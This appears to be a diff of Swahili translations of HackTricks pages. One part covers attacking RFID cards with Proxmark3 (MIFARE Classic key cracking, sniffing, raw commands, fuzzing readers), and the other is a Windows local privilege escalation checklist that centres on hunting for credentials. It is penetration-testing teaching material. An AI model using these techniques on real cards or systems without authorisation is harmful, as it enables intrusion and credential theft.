* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,12 +22,12 @@
|
|||
|
||||
## Kuvamia Mifumo ya RFID na Proxmark3
|
||||
|
||||
Jambo la kwanza unalohitaji kufanya ni kuwa na [**Proxmark3**](https://proxmark.com) na [**kusanikisha programu na mahitaji yake**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
Jambo la kwanza unalohitaji kufanya ni kuwa na [**Proxmark3**](https://proxmark.com) na [**kusakinisha programu na mahitaji yake**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### Kuvamia MIFARE Classic 1KB
|
||||
|
||||
Ina **vikundi 16**, kila kimoja kina **vikundi 4** na kila kikundi kina **16B**. UID iko katika kikundi 0 kikundi 0 (na haiwezi kubadilishwa).\
|
||||
Ili kupata ufikiaji wa kila kikundi unahitaji **funguo 2** (**A** na **B**) ambazo hufadhiwa katika **kikundi 3 cha kila kikundi** (mkia wa kikundi). Mkia wa kikundi pia hufadhi **vibali vya ufikiaji** vinavyotoa **ruhusa ya kusoma na kuandika** kwenye **kila kikundi** kwa kutumia funguo 2.\
|
||||
Ina **vikundi 16**, kila kimoja kina **blocki 4** na kila blocki ina **16B**. UID iko kwenye kikundi 0 blocki 0 (na haiwezi kubadilishwa).\
|
||||
Kupata ufikiaji wa kila kikundi unahitaji **funguo 2** (**A** na **B**) ambazo zimehifadhiwa kwenye **blocki 3 ya kila kikundi** (sehemu ya kikundi). Sehemu ya kikundi pia inahifadhi **vibali vya ufikiaji** vinavyotoa **ruhusa ya kusoma na kuandika** kwenye **kila blocki** kwa kutumia funguo 2.\
|
||||
Funguo 2 ni muhimu kutoa ruhusa ya kusoma ikiwa unajua ya kwanza na kuandika ikiwa unajua ya pili (kwa mfano).
|
||||
|
||||
Mashambulizi kadhaa yanaweza kutekelezwa
|
||||
|
@ -49,11 +49,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Proxmark3 inaruhusu kutekeleza vitendo vingine kama **kupeleleza** mawasiliano ya **Tag to Reader** kujaribu kupata data nyeti. Kwenye kadi hii unaweza kunusa mawasiliano na kuhesabu funguo zilizotumiwa kwa sababu **shughuli za kryptographi zilizotumiwa ni dhaifu** na kwa kujua maandishi wazi na maandishi ya siri unaweza kuhesabu (`mfkey64` chombo).
|
||||
Proxmark3 inaruhusu kutekeleza vitendo vingine kama **kupeleleza** mawasiliano ya **Tag to Reader** kujaribu kupata data nyeti. Kwenye kadi hii unaweza kunusa mawasiliano na kuhesabu funguo zilizotumiwa kwa sababu **shughuli za kryptographi zilizotumiwa ni dhaifu** na kwa kujua maandishi wazi na maandishi ya siri unaweza kuzihesabu (zana ya `mfkey64`).
|
||||
|
||||
### Amri za Mbichi
|
||||
|
||||
Mifumo ya IoT mara nyingi hutumia vitambulisho **visivyo na chapa au visivyo vya kibiashara**. Katika kesi hii, unaweza kutumia Proxmark3 kutuma **amri za mbichi kwa vitambulisho**.
|
||||
Mifumo ya IoT mara nyingine hutumia vitambulisho visivyo na chapa au visivyo vya kibiashara. Katika kesi hii, unaweza kutumia Proxmark3 kutuma **amri za mbichi kwa vitambulisho**.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
|
@ -63,7 +63,7 @@ No chinese magic backdoor command detected
|
|||
Prng detection: WEAK
|
||||
Valid ISO14443A Tag Found - Quiting Search
|
||||
```
|
||||
Kwa habari hii unaweza kujaribu kutafuta habari kuhusu kadi na jinsi ya kuwasiliana nayo. Proxmark3 inaruhusu kutuma amri za moja kwa moja kama: `hf 14a raw -p -b 7 26`
|
||||
Kwa habari hii unaweza kujaribu kutafuta habari kuhusu kadi na njia ya kuwasiliana nayo. Proxmark3 inaruhusu kutuma amri za moja kwa moja kama: `hf 14a raw -p -b 7 26`
|
||||
|
||||
### Scripts
|
||||
|
||||
|
@ -71,11 +71,11 @@ Programu ya Proxmark3 inakuja na orodha iliyopakiwa kabla ya **maandishi ya kiot
|
|||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
Unaweza kuunda script ya **kufanya fuzz tag readers**, kwa kunakili data ya **kadi halali** tuandike **Lua script** ambayo **inabadilisha** moja au zaidi ya **bytes** kwa njia ya kubahatisha na kuangalia kama **msomaji unakwama** na kila jaribio.
|
||||
Unaweza kuunda script ya **kufanya fuzz tag readers**, kwa kunakili data ya **kadi halali** tu andika **Lua script** ambayo **inabadilisha** moja au zaidi ya **bytes za kubahatisha** na kisha angalia kama **msomaji unaharibika** na mzunguko wowote.
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -84,10 +84,10 @@ Unaweza kuunda script ya **kufanya fuzz tag readers**, kwa kunakili data ya **ka
|
|||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
# Orodha - Kupandisha Mamlaka ya Ndani kwa Windows
|
||||
# Orodha - Kupandisha Mamlaka ya Windows kwa Kitaalam
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -16,70 +16,70 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **Zana bora ya kutafuta njia za kupandisha mamlaka ya ndani kwa Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Zana Bora ya Kutafuta Vekta za Kupandisha Mamlaka kwa Windows za Kitaalam:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Maelezo ya Mfumo](windows-local-privilege-escalation/#system-info)
|
||||
|
||||
* [ ] Pata [**Maelezo ya Mfumo**](windows-local-privilege-escalation/#system-info)
|
||||
* [ ] Tafuta **mabadiliko ya kernel** [**kwa kutumia hati za scripts**](windows-local-privilege-escalation/#version-exploits)
|
||||
* [ ] Tumia **Google kutafuta** mabadiliko ya kernel
|
||||
* [ ] Tumia **searchsploit kutafuta** mabadiliko ya kernel
|
||||
* [ ] Tafuta **mabao ya kernel** [**kwa kutumia scripti**](windows-local-privilege-escalation/#version-exploits)
|
||||
* [ ] Tumia **Google kutafuta** mabao ya kernel
|
||||
* [ ] Tumia **searchsploit kutafuta** mabao ya kernel
|
||||
* [ ] Maelezo ya kuvutia katika [**vars za mazingira**](windows-local-privilege-escalation/#environment)?
|
||||
* [ ] Nywila katika [**historia ya PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
||||
* [ ] Manenosiri katika [**historia ya PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
||||
* [ ] Maelezo ya kuvutia katika [**vipimo vya mtandao**](windows-local-privilege-escalation/#internet-settings)?
|
||||
* [ ] [**Drives**](windows-local-privilege-escalation/#drives)?
|
||||
* [**Udukuzi wa WSUS**](windows-local-privilege-escalation/#wsus)?
|
||||
* [ ] [**Madereva**](windows-local-privilege-escalation/#drives)?
|
||||
* [ ] [**Udukuzi wa WSUS**](windows-local-privilege-escalation/#wsus)?
|
||||
* [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
||||
|
||||
### [Uorodheshaji wa Kuingia/AV](windows-local-privilege-escalation/#enumeration)
|
||||
### [Uorodheshaji wa Kuingiza/AV](windows-local-privilege-escalation/#enumeration)
|
||||
|
||||
* [ ] Angalia [**Uorodheshaji** ](windows-local-privilege-escalation/#audit-settings)na [**WEF** ](windows-local-privilege-escalation/#wef)vipimo
|
||||
* [ ] Angalia [**LAPS**](windows-local-privilege-escalation/#laps)
|
||||
* [ ] Angalia ikiwa [**WDigest** ](windows-local-privilege-escalation/#wdigest)ipo
|
||||
* [ ] [**Ulinzi wa LSA**](windows-local-privilege-escalation/#lsa-protection)?
|
||||
* [**Guard ya Vitambulisho**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
* [**Vitambulisho vilivyohifadhiwa**](windows-local-privilege-escalation/#cached-credentials)?
|
||||
* Angalia ikiwa kuna [**AV yoyote**](windows-av-bypass)
|
||||
* [**Sera ya AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
||||
* [ ] [**Mlinzi wa Vitambulisho**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
* [ ] [**Vitambulisho Vilivyohifadhiwa**](windows-local-privilege-escalation/#cached-credentials)?
|
||||
* [ ] Angalia ikiwa kuna [**AV yoyote**](windows-av-bypass)
|
||||
* [ ] [**Sera ya AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
||||
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
|
||||
* [**Mamlaka ya Mtumiaji**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Angalia [**mamlaka ya mtumiaji wa sasa**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Je, wewe ni [**mwanachama wa kikundi cha mamlaka**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* [**Haki za Mtumiaji**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Angalia [**haki za mtumiaji wa sasa**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Je, wewe ni [**mwanachama wa kikundi cha kipekee**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* Angalia ikiwa una [mojawapo ya vitufe hivi vimezimwa](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [**Vikao vya Watumiaji**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* Angalia[ **nyumba za watumiaji**](windows-local-privilege-escalation/#home-folders) (upatikanaji?)
|
||||
* Angalia [**Sera ya Nywila**](windows-local-privilege-escalation/#password-policy)
|
||||
* Ni[ **nini ndani ya Ubao wa Kunakili**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
* Angalia [**Sera ya Nenosiri**](windows-local-privilege-escalation/#password-policy)
|
||||
* Ni[ **nini ndani ya Ubao wa Kuchapisha**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Mtandao](windows-local-privilege-escalation/#network)
|
||||
|
||||
* Angalia **habari za sasa za** [**mtandao**](windows-local-privilege-escalation/#network)
|
||||
* Angalia **huduma za ndani zilizofichwa** zilizozuiwa kwa nje
|
||||
* Angalia **habari za sasa za mtandao**](windows-local-privilege-escalation/#network)
|
||||
* Angalia **huduma za mitaa zilizofichwa** zilizozuiwa kwa nje
|
||||
|
||||
### [Mchakato Unaoendeshwa](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
* Mchakato wa faili za programu [**ruhusa za faili na folda**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [**Uchimbaji wa Nywila za Kumbukumbu**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* Mchakato wa faili na folda za [**ruhusa**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [**Uchimbaji wa Nenosiri la Kumbukumbu**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [**Programu za GUI zisizo salama**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* Pora vitambulisho na **mchakato wa kuvutia** kupitia `ProcDump.exe` ? (firefox, chrome, nk ...)
|
||||
|
||||
### [Huduma](windows-local-privilege-escalation/#services)
|
||||
|
||||
* [ ] [Je, unaweza **kurekebisha huduma yoyote**?](windows-local-privilege-escalation#permissions)
|
||||
* [ ] [Je, unaweza **kurekebisha** **faili** inayo **tekelezwa** na huduma yoyote **?**](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [Je, unaweza **kurekebisha** **usajili** wa huduma yoyote **?**](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [ ] [Je, unaweza kunufaika na **njia ya faili ya huduma** isiyo na nukuu **?**](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
* [Je, unaweza **kurekebisha huduma yoyote**?](windows-local-privilege-escalation#permissions)
|
||||
* [Je, unaweza **kurekebisha** **faili** inayotekelezwa na **huduma yoyote**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [Je, unaweza **kurekebisha** **usajili** wa **huduma yoyote**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [Je, unaweza kunufaika na **njia ya faili** isiyo na nukuu ya **huduma** yoyote?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
### [**Programu**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
* [ ] **Andika** [**ruhusa kwenye programu zilizosanikishwa**](windows-local-privilege-escalation/#write-permissions)
|
||||
* [ ] [**Programu za Kuanza**](windows-local-privilege-escalation/#run-at-startup)
|
||||
* **Andika** [**ruhusa kwenye programu zilizosanikishwa**](windows-local-privilege-escalation/#write-permissions)
|
||||
* [**Programu za Kuanza**](windows-local-privilege-escalation/#run-at-startup)
|
||||
* **Madereva** [**Dhaifu**](windows-local-privilege-escalation/#drivers)
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
|
@ -92,60 +92,59 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* [ ] Tafuta mtandao (kushirikiana, interfaces, njia, majirani, ...)
|
||||
* [ ] Angalia kwa umakini huduma za mtandao zinazosikiliza kwenye localhost (127.0.0.1)
|
||||
|
||||
### [Windows Credentials](windows-local-privilege-escalation/#windows-credentials)
|
||||
### [Siri za Windows](windows-local-privilege-escalation/#windows-credentials)
|
||||
|
||||
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)credentials
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) credentials unaweza kutumia?
|
||||
* [ ] [**DPAPI credentials**](windows-local-privilege-escalation/#dpapi) za kuvutia?
|
||||
* [ ] Nywila za mitandao iliyohifadhiwa [**Wifi networks**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Taarifa za kuvutia katika [**kumbukumbu za RDP zilizohifadhiwa**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
* [ ] Nywila katika [**amri zilizotekelezwa hivi karibuni**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
* [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/#remote-desktop-credential-manager) nywila?
|
||||
* [ ] [**AppCmd.exe** ipo](windows-local-privilege-escalation/#appcmd-exe)? Credentials?
|
||||
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)siri
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) siri unayoweza kutumia?
|
||||
* [ ] [**Siri za DPAPI**](windows-local-privilege-escalation/#dpapi) zenye kuvutia?
|
||||
* [ ] Nywila za mtandao zilizohifadhiwa [**Wifi networks**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Taarifa zenye kuvutia katika [**mambo ya hivi karibuni**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
* [ ] [**Meneja wa Siri wa Desktop ya Mbali**](windows-local-privilege-escalation/#remote-desktop-credential-manager) nywila?
|
||||
* [ ] [**AppCmd.exe** ipo](windows-local-privilege-escalation/#appcmd-exe)? Nywila?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Side Loading?
|
||||
|
||||
### [Faili na Usajili (Credentials)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
### [Faili na Usajili (Siri)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
||||
* [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/#putty-creds) **na** [**SSH host keys**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] **Putty:** [**Siri**](windows-local-privilege-escalation/#putty-creds) **na** [**SSH host keys**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] [**SSH keys katika usajili**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] Nywila katika [**faili za kiotomatiki**](windows-local-privilege-escalation/#unattended-files)?
|
||||
* [ ] Nywila katika [**faili za bila usimamizi**](windows-local-privilege-escalation/#unattended-files)?
|
||||
* [ ] Backup yoyote ya [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
||||
* [ ] [**Cloud credentials**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||
* [ ] [**Siri za Cloud**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||
* [ ] Faili ya [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
|
||||
* [ ] [**Cached GPP Password**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
||||
* [ ] Nywila katika [**faili ya usanidi wa wavuti ya IIS**](windows-local-privilege-escalation/#iis-web-config)?
|
||||
* [ ] Taarifa za kuvutia katika [**logs za wavuti**](windows-local-privilege-escalation/#logs)?
|
||||
* [ ] Je, unataka [**kuomba nywila**](windows-local-privilege-escalation/#ask-for-credentials) kwa mtumiaji?
|
||||
* [ ] Taarifa za kuvutia [**katika faili zilizopo kwenye Recycle Bin**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] Usajili mwingine una [**nywila**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Ndani ya [**data ya kivinjari**](windows-local-privilege-escalation/#browsers-history) (dbs, historia, alamisho, ...)?
|
||||
* [**Generic password search**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) katika faili na usajili
|
||||
* [**Tools**](windows-local-privilege-escalation/#tools-that-search-for-passwords) za kutafuta nywila kiotomatiki
|
||||
* [ ] Nywila katika [**faili ya usanidi wa Wavuti ya IIS**](windows-local-privilege-escalation/#iis-web-config)?
|
||||
* [ ] Taarifa zenye kuvutia katika [**logs za wavuti**](windows-local-privilege-escalation/#logs)?
|
||||
* [ ] Je, unataka [**kuomba siri**](windows-local-privilege-escalation/#ask-for-credentials) kwa mtumiaji?
|
||||
* [ ] Taarifa zenye kuvutia katika [**faili ndani ya Recycle Bin**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] Usajili mwingine una [**siri**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Ndani ya [**data ya Kivinjari**](windows-local-privilege-escalation/#browsers-history) (dbs, historia, alamisho, ...)?
|
||||
* [**Utafutaji wa nywila za jumla**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) katika faili na usajili
|
||||
* [**Zana**](windows-local-privilege-escalation/#tools-that-search-for-passwords) za kutafuta nywila kiotomatiki
|
||||
|
||||
### [Leaked Handlers](windows-local-privilege-escalation/#leaked-handlers)
|
||||
### [Mikono Iliyovuja](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
* [ ] Je, una ufikiaji wa kifaa chochote cha mchakato ulioendeshwa na msimamizi?
|
||||
|
||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
### [Uigaji wa Mteja wa Mipira](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
|
||||
* [ ] Angalia kama unaweza kutumia hilo
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
